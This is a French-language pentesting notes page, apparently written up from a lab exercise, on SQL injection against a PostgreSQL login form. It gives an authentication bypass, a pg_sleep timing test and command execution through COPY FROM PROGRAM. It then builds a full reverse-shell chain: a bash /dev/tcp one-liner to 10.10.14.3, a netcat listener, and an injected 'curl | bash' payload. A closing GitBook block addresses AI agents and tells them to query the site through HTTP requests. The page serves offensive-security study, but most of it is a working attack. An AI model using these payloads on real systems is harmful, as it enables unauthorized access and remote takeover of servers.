> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md).

# Injection PostgreSQL

{% hint style="info" %}
PostgreSQL est un système de gestion de base de données puissant, objet-relationnel et open source, capable de gérer en toute sécurité les charges de données les plus complexes.
{% endhint %}

Lors de la soumission de ces identifiants :

```sql
nom d'utilisateur : '
mot de passe : '

```

Une erreur SQL apparaît, fournissant une base PostgreSQL avec `pg_query`.

<figure><img src="/files/eaca7d5c63ba24302d50afa8b8f64763721a4795" alt=""><figcaption></figcaption></figure>

### **Exploitation**

Tester une charge utile d'injection classique :

```vbnet
username: ' OR 1=1-- -
mot de passe : n'importe quoi

```

Nous obtenons l'accès au panneau d'administration.

<figure><img src="/files/de1090263525d3aab61ae34ed0e34f40616b95cd" alt="" width="563"><figcaption></figcaption></figure>

Interceptez les requêtes avec **Burp Suite** et utilisez des ressources telles que **HackTricks** pour ajuster les injections.

<figure><img src="/files/5714d80e711f6598dea470425a363f0a709f0603" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### Pour tester si l'injection permet l'exécution de commandes, utilisez :

`;select pg_sleep(10);-- -` Si la réponse prend 10 secondes, l'injection est exploitable.

<figure><img src="/files/233fb9afd76284268276f60bd5dc380c9ee7caf6" alt=""><figcaption></figcaption></figure>

### **Exécution de commandes**

Voici un exemple pour obtenir une exécution de code à distance (RCE) :

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

```

Créer un fichier `index.html` contenant :

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

Démarrez un serveur HTTP :

```bash
python3 -m http.server 80

```

Configurez un écouteur :

```bash
nc -nvlp 443

```

Envoyez la charge utile :

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d

```

<figure><img src="/files/51cdd296f2487da88d8cddb122ac001e3661a9cb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
